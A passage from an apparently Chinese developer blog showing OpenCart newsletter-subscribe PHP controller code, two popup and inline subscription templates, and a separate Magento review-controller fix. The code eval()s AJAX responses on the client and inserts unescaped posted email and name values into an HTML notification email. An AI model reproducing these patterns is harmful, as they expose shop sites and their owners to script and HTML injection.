} else if (!$this->model_account_newslettersubscribe->checkmailid($this->request->post)) {

$this->model_account_newslettersubscribe->subscribe($this->request->post);

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

if ($this->config->get('newslettersubscribe_mail_status')) {

$subject = $this->language->get('mail_subject');

$message = '<table width="60%" cellpadding="2" cellspacing="1" border="0">
<tr>
<td> Email Id </td>
<td> '.$this->request->post['subscribe_email'].' </td>
</tr>
<tr>
<td> Name </td>
<td> '.$this->request->post['subscribe_name'].' </td>
</tr>';
$message .= '</table>';

$mail = new Mail();
$mail->protocol = $this->config->get('config_mail_protocol');
$mail->parameter = $this->config->get('config_mail_parameter');
$mail->hostname = $this->config->get('config_smtp_host');
$mail->username = $this->config->get('config_smtp_username');
$mail->password = $this->config->get('config_smtp_password');
$mail->port = $this->config->get('config_smtp_port');
$mail->timeout = $this->config->get('config_smtp_timeout');
$mail->setTo($this->config->get('config_email'));
$mail->setFrom($this->config->get('config_email'));
$mail->setSender($this->config->get('config_name'));
$mail->setSubject($subject);
$mail->setHtml($message);
$mail->send();
}

} else {

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"warning\"> '.$this->language->get('alreadyexist').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

}

} else {

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"warning\"> '.$this->language->get('error_invalid').'</div>")');

}

}

public function subscribepopup() {

$prefix_eval = "";

$this->language->load('extension/module/newslettersubscribe');

$this->load->model('account/newslettersubscribe');

if (isset($this->request->post['subscribe_pemail']) and filter_var($this->request->post['subscribe_pemail'],FILTER_VALIDATE_EMAIL)) {
$this->request->post['subscribe_email'] = $this->request->post['subscribe_pemail'];
$this->request->post['subscribe_name'] = $this->request->post['subscribe_pname'];


if ($this->config->get('newslettersubscribe_registered') and $this->model_account_newslettersubscribe->checkRegisteredUser($this->request->post)) {

$this->model_account_newslettersubscribe->UpdateRegisterUsers($this->request->post,1);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');


} else if (!$this->model_account_newslettersubscribe->checkmailid($this->request->post)) {

$this->model_account_newslettersubscribe->subscribe($this->request->post);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

if ($this->config->get('newslettersubscribe_mail_status')) {

$subject = $this->language->get('mail_subject');

$message = '<table width="60%" cellpadding="2" cellspacing="1" border="0">
<tr>
<td> Email Id </td>
<td> '.$this->request->post['subscribe_pemail'].' </td>
</tr>
<tr>
<td> Name </td>
<td> '.$this->request->post['subscribe_pname'].' </td>
</tr>';
$message .= '</table>';

$mail = new Mail();
$mail->protocol = $this->config->get('config_mail_protocol');
$mail->parameter = $this->config->get('config_mail_parameter');
$mail->hostname = $this->config->get('config_smtp_host');
$mail->username = $this->config->get('config_smtp_username');
$mail->password = $this->config->get('config_smtp_password');
$mail->port = $this->config->get('config_smtp_port');
$mail->timeout = $this->config->get('config_smtp_timeout');
$mail->setTo($this->config->get('config_email'));
$mail->setFrom($this->config->get('config_email'));
$mail->setSender($this->config->get('config_name'));
$mail->setSubject($subject);
$mail->setHtml($message);
$mail->send();
}

} else {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('alreadyexist').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

}

} else {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('error_invalid').'</div>")');

}

}

public function unsubscribe(){

if ($this->config->get('newslettersubscribe_thickbox')) {
$prefix_eval = "";
} else {
$prefix_eval = "";
}

$this->language->load('extension/module/newslettersubscribe');

$this->load->model('account/newslettersubscribe');

if (isset($this->request->post['subscribe_email']) and filter_var($this->request->post['subscribe_email'],FILTER_VALIDATE_EMAIL)) {

if ($this->config->get('newslettersubscribe_registered') and $this->model_account_newslettersubscribe->checkRegisteredUser($this->request->post)) {

$this->model_account_newslettersubscribe->UpdateRegisterUsers($this->request->post,0);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('unsubscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');


} else if (!$this->model_account_newslettersubscribe->checkmailid($this->request->post)) {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('notexist').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

} else {

if ($this->config->get('option_unsubscribe')) {

$this->model_account_newslettersubscribe->unsubscribe($this->request->post);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('unsubscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

}
}

} else {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('error_invalid').'</div>")');

}

}

protected function loadmodule() {

$this->language->load('extension/module/newslettersubscribe');

$data['heading_title'] = $this->language->get('heading_title');

$data['entry_name'] = $this->language->get('entry_name');
$data['entry_email'] = $this->language->get('entry_email');
$data['entry_button'] = $this->language->get('entry_button');
$data['entry_unbutton'] = $this->language->get('entry_unbutton');
$data['option_unsubscribe'] = $this->config->get('option_unsubscribe');
$data['thickbox'] = $this->config->get('newslettersubscribe_thickbox');

$data['text_subscribe'] = $this->language->get('text_subscribe');

$this->id = 'newslettersubscribe';


return $this->load->view('extension/module/newslettersubscribe.tpl', $data);
}
}
?>
修改文件 catalog/view/theme/您所使用的模板/template/extension/module/newsletterpopup/newsletterpopup.tpl
<div class="newletter-container">
<div id="boxes" class="newletter-container newsletter-popup">
<div style="" id="dialog" class="window ">
<div class="box ">
<!-- <div class="png-popup1" style="height:auto;width: 100%;">
<img src="image/catalog/demo/newsletter-1.jpg" alt="#">
</div> -->
<div id="popup2" class="btn-close-form">
<span class="button b-close"><span>X</span></span>
<div class="content"></div>
</div>
<div class="newletter-title"><h2><?php echo $heading_title; ?></h2></div>
<div class="box-content newleter-content">
<label><?php echo $newletter_lable; ?></label>
<div id="frm_subscribes">
<form name="subscribe" id="subscribe_popup">
<div>
<!-- <span class="required">*</span><span><?php //echo $entry_email; ?></span> -->
<input type="text" value="" name="subscribe_pemail" id="subscribe_pemail">
<input type="hidden" value="" name="subscribe_pname" id="subscribe_pname" />
</div>
<div class="subs-links text-center">
<a class="button" onclick="email_subscribepopup()"><span><?php echo $entry_button; ?></span></a>
</div>
<?php if($option_unsubscribe) { ?>
<a class="button" onclick="email_unsubscribepopup()"><span><?php echo $entry_unbutton; ?></span></a>
<?php } ?>
</form>
<div class="subscribe-bottom">
<input type="checkbox" id="newsletter_popup_dont_show_again">
<label for="newsletter_popup_dont_show_again"><?php echo $entry_show_again; ?></label>
</div>
</div><!-- /#frm_subscribe -->
<div id="notification"></div>
</div><!-- /.box-content -->
<!-- <div class="png-popup2" style="height:120px;width: 150px;">
<img src="image/catalog/demo/newletter_item.png" alt="#">
</div> -->
</div>
</div>

<script type="text/javascript">
function email_subscribepopup(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/subscribepopup',
dataType: 'html',
data:$("#subscribe_popup").serialize(),
success: function (html) {
$.cookie('shownewsletter', '1');
eval(html);
}});


}
function email_unsubscribepopup(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/unsubscribe',
dataType: 'html',
data:$("#subscribe_popup").serialize(),
success: function (html) {
eval(html);
}});
$('html, body').delay( 1500 ).animate({ scrollTop: 0 }, 'slow');

}
</script>
<script type="text/javascript">
$(document).ready(function() {

if($.cookie('shownewsletter')==1) $('#boxes').hide();
$('#subscribe_pemail').keypress(function(e) {
if(e.which == 13) {
e.preventDefault();
email_subscribepopup();
}
var name= $(this).val();
$('#subscribe_pname').val(name);
});
$('#subscribe_pemail').change(function() {
var name= $(this).val();
$('#subscribe_pname').val(name);
});


//transition effect
if($.cookie("shownewsletter") != 1){
$('#boxes').bPopup();

}

//if close button is clicked
$('.b-modal').click(function (e) {
$.cookie('shownewsletter', '1');
});

$('#newsletter_popup_dont_show_again').on('change', function(){
if($.cookie("shownewsletter") != 1){
$.cookie("shownewsletter",'1')
}else{
$.cookie("shownewsletter",'0')
}
});


});

</script>


</div><!-- /.box -->
</div>
修改文件 catalog/view/theme/您所使用的模板/template/extension/module/newsletterpopup/newslettersubscribe.tpl
<div class="newletter-subscribe">
<div class="containers">
<div id="box" class="newletter-container">
<div style="" id="dialog_nomal" class="window">
<div class="box">
<div class="newletter-title">
<h2><?php echo $newletter_lable; ?></h2>
<!-- <span class="sub-newletter"><?php echo $sub_newletter; ?></span> -->
</div>
<div class="box-content newleter-content">
<label class="hidden"><?php echo $newletter_lable; ?></label>
<div id="frm_subscribe">
<form name="subscribe" id="subscribe">
<input type="text" value="" name="subscribe_email" id="subscribe_email">
<input type="hidden" value="" name="subscribe_name" id="subscribe_name" />
<a class="button" onclick="email_subscribe()"><span><?php echo $entry_button; ?></span></a>
<?php if($option_unsubscribe) { ?>
<a class="button" onclick="email_unsubscribe()"><span><?php echo $entry_unbutton; ?></span></a>
<?php } ?>
</form>
</div><!-- /#frm_subscribe -->
<div id="notification_normal"></div>
</div><!-- /.box-content -->
</div>
</div>

<script type="text/javascript">
function email_subscribe(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/subscribe',
dataType: 'html',
data:$("#subscribe").serialize(),
success: function (html) {
eval(html);
}});


}
function email_unsubscribe(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/unsubscribe',
dataType: 'html',
data:$("#subscribe").serialize(),
success: function (html) {
eval(html);
}});
$('html, body').delay( 1500 ).animate({ scrollTop: 0 }, 'slow');

}
</script>
<script type="text/javascript">
$(document).ready(function() {
$('#subscribe_email').keypress(function(e) {
if(e.which == 13) {
e.preventDefault();
email_subscribe();
}
var name= $(this).val();
$('#subscribe_name').val(name);
});
$('#subscribe_email').change(function() {
var name= $(this).val();
$('#subscribe_name').val(name);
});

});
</script>


</div><!-- /.box -->
</div>
</div>

Magento Intenso低版本评论提交后无反回

技术分享neasel 发表了文章 • 0 个评论 • 4 次浏览 • 2017-04-27 13:08 • 来自相关话题

只显示 sucuess msg ,消息 ,Thanks for your review! Your review has been accepted for moderation. 那么您需要app/code/local/Itactica/Exte ...查看全部
只显示 sucuess msg ,消息 ,Thanks for your review! Your review has been accepted for moderation.
那么您需要
app/code/local/Itactica/ExtendedReviews/controllers/ProductController.php
此文件修改大约
 public function postAction() {
$success = false;
if ($data = Mage::getSingleton('review/session')->getFormData(true)) {
$rating = array();
if (isset($data['ratings']) && is_array($data['ratings'])) {
$rating = $data['ratings'];
}
} else {
$data = $this->getRequest()->getPost();
$rating = $this->getRequest()->getParam('ratings', array());
}

if (($product = $this->_initProduct()) && !empty($data)) {
$session = Mage::getSingleton('core/session');
$review = Mage::getModel('review/review')->setData($data);

$validate = $review->validate();
if ($validate === true) {
try {
$review->setEntityId($review->getEntityIdByCode(Mage_Review_Model_Review::ENTITY_PRODUCT_CODE))
->setEntityPkValue($product->getId())
->setStatusId(Mage_Review_Model_Review::STATUS_PENDING)
->setCustomerId(Mage::getSingleton('customer/session')->getCustomerId())
->setStoreId(Mage::app()->getStore()->getId())
->setStores(array(Mage::app()->getStore()->getId()))
->save();

foreach ($rating as $ratingId => $optionId) {
Mage::getModel('rating/rating')
->setRatingId($ratingId)
->setReviewId($review->getId())
->setCustomerId(Mage::getSingleton('customer/session')->getCustomerId())
->addOptionVote($optionId, $product->getId());
}

$review->aggregate();
Mage::getResourceModel('itactica_extendedreviews/review')->syncReviews($review->getId());
$session->addSuccess($this->__('Thanks for your review! Your review has been accepted for moderation.'));
$success = true;

} catch (Exception $e) {
$session->setFormData($data);
$session->addError($this->__('Unable to post the review.'));
}
} else {
$session->setFormData($data);
if (is_array($validate)) {
foreach ($validate as $errorMessage) {
$session->addError($errorMessage);
}
} else {
$session->addError($this->__('Unable to post the review.'));
}
}
}
// echo json_encode(array('success' => $success, 'msg' => $this->getLayout()->getMessagesBlock()->getGroupedHtml()));


if ($redirectUrl = Mage::getSingleton('review/session')->getRedirectUrl(true)) {
$this->_redirectUrl($redirectUrl);
return;
}
$this->_redirectReferer();
}